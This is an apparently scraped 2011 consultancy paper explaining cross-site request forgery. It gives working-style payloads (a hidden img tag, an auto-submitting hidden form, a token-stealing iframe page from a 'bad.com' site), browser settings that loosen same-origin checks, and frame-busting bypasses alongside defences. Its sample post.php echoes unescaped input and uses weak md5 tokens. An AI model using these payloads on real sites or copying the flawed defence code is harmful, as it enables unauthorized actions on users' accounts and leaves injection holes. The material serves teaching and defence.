CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

CROSS-SITE REQUEST FORGERY
IN-DEPTH ANALYSIS • CYBER GATES • 2011
/*
INTRODUCTION
*/
Cross-Site Request Forgery (CSRF in short) is a kind of a web application
vulnerability that allows a malicious website to send unauthorized
requests to a vulnerable website using the current active session of the
authorized users.

In simple words, when an “evil” website posts a new status in your
Twitter account, while your Twitter login session is still active.

/*
CSRF BASICS
*/
A simple example of this is the following hidden HTML code inside the
evil.com webpage:

<imgsrc=”http://twitter.com/home?status=evil.com”style=”display:none”/>

Many web developers use POST instead of GET requests to avoid this kind
of a malicious attack. But this approach is useless as shown by the
following HTML code used to bypass that kind of a protection.

<divstyle=“display:none”>
<iframename=“hiddenFrame”></iframe>
<formname=“Form”action=“http://site.com/post.php” target=“hiddenFrame”
method=“POST”>
<inputtype=“text”name=“message”value=“I like www.evil.com” />
<inputtype=“submit”/>
</form>
<script>document.Form.submit();</script>
</div>

/*
USLESS DEFENSES
*/
The following are the weak defenses:
1. Only accept POST
This stops simple link-based attacks (IMG, frames, etc.)
But hidden POST requests can be created with frames, scripts, etc
2. Referrer checking
Some users prohibit referrers, so you can’t just require referrer
headers
Techniques to selectively create HTTP request without referrers
exist
3. Requiring multi-step transactions
CSRF attack can perform each step in order

/*
DEFENSE
*/
The approach used by many web developers is the CAPTCHA systems and one-
time tokens.
CAPTCHA systems are widely used but asking a user to fill the text in the
CAPTCHA image every time user submits a form will make him/her leave your
website. And that’s why one-time tokens are used instead.
Unlike the CAPTCHA systems one-time tokensare unique values stored in a
webpage form hidden field and in session at the same time to compare
themafter the page form submission.
Mechanism used to generate one-time tokens can be found using brute force
attacks. But brute forcing one-time tokens is useful only if the
mechanism is widelyused by web developers.
For example the following PHP code:

<?php
$token=md5(uniqid(rand(),TRUE));
$_SESSION['token']=$token;
?>

/*
DEFENSE USING ONE-TIME TOKENS
*/
To understand better how this system works, let's take a look to a simple
webpage which has a form with one-time token:

index.php(Victim website)

<?phpsession_start();?>
<html>
<head>
<title>GOOD.COM</title>
</head>
<body>
<?php
$token=md5(uniqid(rand(),true));
$_SESSION['token']=$token;
?>
<formname="messageForm"action="post.php"method="POST">
<inputtype="text"name="message">
<inputtype="submit"value="Post">
<inputtype="hidden"name="token"value="<?phpecho$token?>">
</form>
</body>
</html>

And the webpage which processes the request and stores the message only
if the given token is correct:

post.php(Victim website)

<?php
session_start();
if($_SESSION['token']==$_POST['token']){
$message=$_POST['message'];
echo"<b>Message:</b><br/>".$message;
$file=fopen('messages.txt','a');
fwrite($file,$message."rn");
fclose($file);
}else{
echo'Bad request.';
}
?>

/*
IN-DEPTH ANALYSIS
*/
In-depth analysis shows that an attacker canuse an advanced version of
the framing method to perform the task and send POST requests without
guessing the token. The following is a real scenario:

index.php(Evil website)

<html>
<head>
<title>BAD.COM</title>
<scriptlanguage="javascript">
functionsubmitForm(){
var token =
window.frames[0].document.forms["messageForm"].elements["token"].value;
varmyForm=document.myForm;
myForm.token.value= token;
myForm.submit();
}
</script>
</head>
<bodyonLoad="submitForm();">
<divstyle="display:none">
<iframesrc="http://good.com/index.php"></iframe>
<formname="myForm"target="hidden"action=http://good.com/post.phpmethod="PO
ST">
<inputtype="text"name="message"value="I like www.bad.com"/>
<inputtype="hidden"name="token"value=""/>
<inputtype="submit"value="Post">
</form>
</div>
</body>
</html>

For security reasons, the same origin policy in browsers restricts access
for browser-side programming languages, such as JavaScript,to access a
remote content and the browser throws the following exception:

Permission denied to access property 'document'
var token = window.frames[0].document.forms['messageForm'].token.value;

Browser's settings as you can see are not hard to modify:
user_pref("capability.policy.policynames","localfilelinks");
user_pref("capability.policy.localfilelinks.sites","http://bad.com
http://good.com");
user_pref("capability.policy.localfilelinks.checkloaduri.enabled","allAccess");
user_pref("capability.policy.default.checkloaduri.enabled","allAccess");

So the best way for web application security is to secure web application
itself.

/*
FRAME BUSTING
*/
The best way to protect web applications against CSRF attacks is using
FrameKillerswith one-time tokens.
FrameKillers are small piece of javascript code used to protect web pages
from being framed:

<scripttype="text/javascript">
if(top != self)top.location.replace(location);
</script>

It consists of Conditional statement and Counter-action statement.

Common conditional statements are the following:
if(top!=self)
if(top.location!=self.location)
if(top.location!=location)
if(parent.frames.length>0)
if(window!=top)
if(window.top!==window.self)
if(window.self!=window.top)
if(parent&&parent!=window)
if(parent&&parent.frames&&parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))

And common counter-action statements are these:

top.location=self.location
top.location.href=document.location.href
top.location.replace(self.location)
top.location.href=window.location.href
top.location.replace(document.location)
top.location.href=window.location.href
top.location.href="URL"
document.write('')

Different FrameKillers are used by web developers and different
techniques are used to bypass them:

Method 1
Using onBeforeUnload event:

<script>
window.onbeforeunload=function(){
return"Do you want to leave this page?";
}
</script>
<iframesrc="http://www.good.com"></iframe>

Method 2
Using Double framing:

<iframesrc="second.html"></iframe>
second.html
<iframesrc="http://www.site.com"></iframe>

/*
BEST PRACTICES
*/
The best example of FrameKillerthat can be used is the following:

<style> html{ display : none; } </style>
<script>
if( self == top ){document.documentElement.style.display='block';}
else{top.location=self.location;}
</script>

This hides the entire webpage using CSS and displays that only if the
conditional statement is right. This technique helps us to protect web
application even if an attacker browses the webpage with javascript
disabled option in the browser.

/*
REFERENCES
*/
1. Cross-Site Request Forgery
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-
Forgery
2. Same Origin Policy
http://en.wikipedia.org/wiki/Same_origin_policy
3. FrameKiller(Frame Busting)
http://en.wikipedia.org/wiki/Framekiller
http://seclab.stanford.edu/websec/framebusting/framebust.pdf

/*
AUTHOR
*/

SamvelGevorgyan
Founder & Managing Director, CYBER GATES
www.cybergates.am
samvel.gevorgyan@cybergates.am

SamvelGevorgyan is Founder and Managing Director of
CYBER GATES Information Security Consulting, Testing
and Research Company and has over 5 years of
experience working in the IT industry. He started his
career as a web designer in 2006. Then he seriously began learning web
programming and web security concepts which allowed him to gain more
knowledge in web design, web programming techniques and information
security.
All this experience contributed to Samvel's work ethics, for he started
to pay attention to each line of the code for good optimization and
protection from different kinds of malicious attacks such as XSS(Cross-
Site Scripting), SQL Injection, CSRF(Cross-Site Request Forgery), etc.
Thus Samvel has transformed his job to a higher level, and he is
gradually becoming more complete security professional.

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (20)

Similar a CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

Similar a CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011 (20)

Más de Samvel Gevorgyan

Más de Samvel Gevorgyan (8)

Último

Último (20)

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011